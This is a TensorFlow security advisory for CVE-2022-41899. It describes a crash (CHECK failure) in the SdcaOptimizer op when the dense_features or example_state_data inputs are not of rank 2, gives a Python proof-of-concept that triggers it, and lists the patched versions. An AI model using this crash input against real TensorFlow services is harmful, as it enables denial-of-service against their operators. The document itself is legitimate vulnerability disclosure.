CVE-2022-41899: `CHECK` fail via inputs in `SdcaOptimizer`

Inputs dense_features or example_state_data not of rank 2 will trigger a CHECK fail in SdcaOptimizer.

import tensorflow as tf

tf.raw_ops.SdcaOptimizer( sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), loss_type="squared_loss", l1=0.0, l2=0.0, num_loss_partitions=1, num_inner_iterations=1, adaptative=False,)

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

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